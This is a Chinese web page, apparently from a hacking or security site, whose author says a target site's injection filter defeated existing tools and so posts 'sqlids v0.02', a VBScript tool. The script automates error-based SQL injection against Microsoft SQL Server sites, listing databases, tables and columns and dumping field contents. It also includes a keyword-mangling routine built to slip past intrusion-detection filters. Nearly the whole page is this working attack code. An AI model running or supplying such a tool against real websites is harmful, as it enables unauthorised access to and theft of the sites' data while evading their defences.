注册
登录
| 关键词： wscript echo Function ReplaceKeyWord Body objstream getHTTPPage url arg result |
'今天搞了个网站，注入点过滤得很变态，工具都不能跑，于是写了这个东东： set arg=wscript.argumentsIf (LCase(Right(Wscript.fullname,11))="Wscript.exe") ThenWscript.QuitEnd Ifif arg.count=0 then usage()Wscript.QuitEnd If Sub usage()wsh.echo string(79,"*")wsh.echo "暂且只支持mssql显错模式，直接写url为数字型，写url'为字符型"wsh.echo "sqlids v0.02 by lcx"wsh.echo "Usage:"wsh.echo "cscript "&wscript.scriptname&" url dbname ||----------->得到全部库名"wsh.echo "cscript "&wscript.scriptname&" url table 库名||-------->得到全部表名" wsh.echo "cscript "&wscript.scriptname&" url filed 表名||---------->得到全部字段" wsh.echo "cscript "&wscript.scriptname&" url result 字段名 表名||---------->得到字段内容" wsh.echo string(79,"*")&vbcrlfend Sub Function getHTTPPage(Path)t = GetBody(Path)getHTTPPage = BytesToBstr(t, "GB2312")End Function Function GetBody(url)' xml得到网页源码，可以改成cookie或get提交On Error Resume NextSet Retrieval = CreateObject("Microsoft.XMLHTTP")With Retrieval.Open "post", url, False, "", "".setRequestHeader "Content-Type", "application/x-www-form-urlencoded".setRequestHeader "Accept-Encoding", "gzip, deflate".setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)".setRequestHeader "Connection", "Keep-Alive".setRequestHeader "Cache-Control", "no-cache".SendGetBody = .ResponseBody.abortEnd WithSet Retrieval = NothingEnd Function Function BytesToBstr(Body, Cset)Dim objstreamSet objstream = CreateObject("adodb.stream")objstream.Type = 1objstream.Mode = 3objstream.Openobjstream.Write Bodyobjstream.Position = 0objstream.Type = 2objstream.Charset = CsetBytesToBstr = objstream.ReadTextobjstream.CloseSet objstream = NothingEnd Function Function ReplaceKeyWord(Value)'绕过ids过虑Table = "select->se%lect|[k]|insert->in%sert|[k]|update->u%pdate|[k]|delete->dele%te|[k]|drop->dr%op|[k]|alter->al%ter|[k]|create->crea%te|[k]|inner->in%ner|[k]|join->jo%in|[k]|from->fro%m|[k]|where->w%here|[k]|union->unio%n|[k]|group->grou%p|[k]|by->b%y|[k]|having->hav%ing|[k]|table->tab%le|[k]|shutdown->shu%tdown|[k]|kill->k%ill|[k]|declare->dec%lare|[k]|open->o%pen|[k]|pwdencrypt->pwdencr%ypt|[k]|msdasql->m%sdasql|[k]|sqloledb->sqlo%ledb|[k]|char->c%har|[k]|fetch->fe%tch|[k]|next->ne%xt|[k]|allocate->al%locate|[k]|sys->s%ys|[k]|raiserror->raiser%ror|[k]|exec->e%xec|[k]|=!->=%!|[k]|--->-%-|[k]|xp_->x%p_|[k]|sp_->s%p_|[k]|and->a%nd"Dim i, Relpacement, TempRelpacement = Split(Table, "|[k]|")ReplaceKeyWord = ValueFor i = 0 to UBound(Relpacement)Temp = Split(Relpacement(i), "->")If UBound(Temp) = 1 Then ReplaceKeyWord = Replace(ReplaceKeyWord, Temp(0), Temp(1))NextEnd Function Function result(sHTMLTEMP) '用nvarchar做关键字分隔网页内容，用正则帅一点，可惜不太会aHTML = Split(sHTMLTEMP, "nvarchar")If(UBound(aHTML) > 0)ThensHTMLTEMP = aHTML(1)aHTML = Split(sHTMLTEMP, "'")sHTMLTEMP = aHTML(1)End Ifresult=sHTMLTEMPEnd Function Function Str2Hex(strHex)'sql的16进制转换函数Dim sHexFor i = 1 To Len(strHex)sHex = sHex & Hex(Asc(Mid(strHex,i,1)))&"00"NextStr2Hex = "0x"&sHexEnd Function '--------------------------------------以下代码是注入语句，完全不需要引号url=arg(0)set arg=wscript.argumentsif arg.count=0 then wscript.quitinjection =arg(1) select case injectioncase "dbname"wscript.echo result(Replace(getHTTPPage(url&" "&ReplaceKeyWord("and db_name(0)>0--")),Chr(34),""))&"(当前库)"i=1Do Body = Replace(getHTTPPage(url&" "&ReplaceKeyWord("and db_name("&i&")>0--")),Chr(34),"")k=InstrRev(body,"nvarchar", -1, 0)i=i+1If k<>0 Then wscript.echo result(body)Elsewsh.echo "========over============"End ifLoop Until k=0case "table"i=1Do Body = Replace(getHTTPPage(url&" "&ReplaceKeyWord("and 0<>(select top 1 name from "&arg(2)&".dbo.sysobjects where xtype=0x7500 and name not in (select top "& i &" name from "&arg(2)&".dbo.sysobjects where xtype=0x7500))--")),Chr(34),"")k=InstrRev(body,"nvarchar", -1, 0)i=i+1If k<>0 Then wscript.echo result(body)Elsewsh.echo "========over============"End ifLoop Until k=0 case "filed"colname=Str2Hex(arg(2))i=1Do Body = Replace(getHTTPPage(url&" "&ReplaceKeyWord("and 0<>COL_NAME(OBJECT_ID("&colname&"),"&i&")--")),Chr(34),"")k=InstrRev(body,"nvarchar", -1, 0)i=i+1If k<>0 Then wscript.echo result(body)Elsewsh.echo "========over============"End ifLoop Until k=0case "result"i=1Do Body = Replace(getHTTPPage(url&" "&ReplaceKeyWord("a%nd 0<>(se%lect top 1 "&arg(2)&" from "&arg(3)&" where "&arg(2)&" not in (select top "&i&" "&arg(2)&" from "&arg(3)&"))--")),Chr(34),"")k=InstrRev(body,"nvarchar", -1, 0)i=i+1If k<>0 Then wscript.echo result(body)Elsewsh.echo "========over============"End ifLoop Until k=0Case elsewscript.echo "注意参数"usage()end select |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
